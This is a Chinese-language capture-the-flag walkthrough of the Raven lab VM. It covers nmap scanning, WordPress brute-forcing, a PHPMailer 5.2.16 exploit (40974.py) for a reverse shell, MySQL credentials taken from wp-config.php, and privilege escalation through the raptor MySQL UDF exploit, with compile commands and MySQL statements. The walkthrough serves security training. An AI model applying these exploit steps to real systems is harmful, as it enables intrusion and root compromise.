1、找到靶机ip:192.168.134.130
nmap -sn 192.168.134.0/24
2、扫描靶机端口,开放22、80、111和33222端口
┌──(rootcracer)-[~]
└─# nmap -p- -A 192.168.134.130
Starting Nmap 7.91 ( https://nmap.org )
Nmap scan report for raven.local (192.168.134.130)
Host is up (0.00055s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
| 2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
| 256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_ 256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33222/tcp status
| 100024 1 45202/udp6 status
| 100024 1 47710/tcp6 status
|_ 100024 1 51475/udp status
33222/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:38:9F:A5 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.55 ms raven.local (192.168.134.130)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.83 seconds
3、访问80端口,默认页面没什么有用的信息,开始扫描目录
发现一个wordpress网站,访问之后会跳转到raven.local,添加到hosts文件就开始wpscan常规操作,爆破用户名和密码,然后就把它放到一边等待,继续查看其它目录
4、在vendor目录下发现SECURITY.md文件,里面有哪一年的某个版本的PHPMailer容易受到攻击,接着在VERSION中发现版本号位5.2.16
在kali中搜索相关漏洞利用脚本,发现40974.py脚本符合版本要求
脚本需要进行一些修改,需要知道网站的绝对路径,能够在前面vendor下的PATH中能够得到flag1和网站的绝对路径
需要修改的地方如下
使用python3运行脚本,然后监听本地的4444端口,访问根目录下的craker.php文件,成功反弹shell,python提权到tty
使用find命令搜索一下flag文件,得到flag2和flag3
最后一个flag应该就是在root目录下了,提权方法是用到mysql的udf提权
在wordpress目录下的wp-config.php文件中能得到mysql的用户名和密码root/R@v3nSecurity,查看mysql的版本发现是5.5.60
kali搜索mysql udf利用脚本,使用1518.c
先使用下列命令在本地生成so文件
$ gcc -g -c 1518.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
然后下载到靶机上,方法讲了比较多了,这里不赘述,然后使用下列命令在mysql中创建函数
* $ mysql -u root -p
* Enter password:R@v3nSecurity
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; //跟脚本路径不同
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
然后利用该函数给find命令赋予s权限
最后通过find命令提权,获得flag4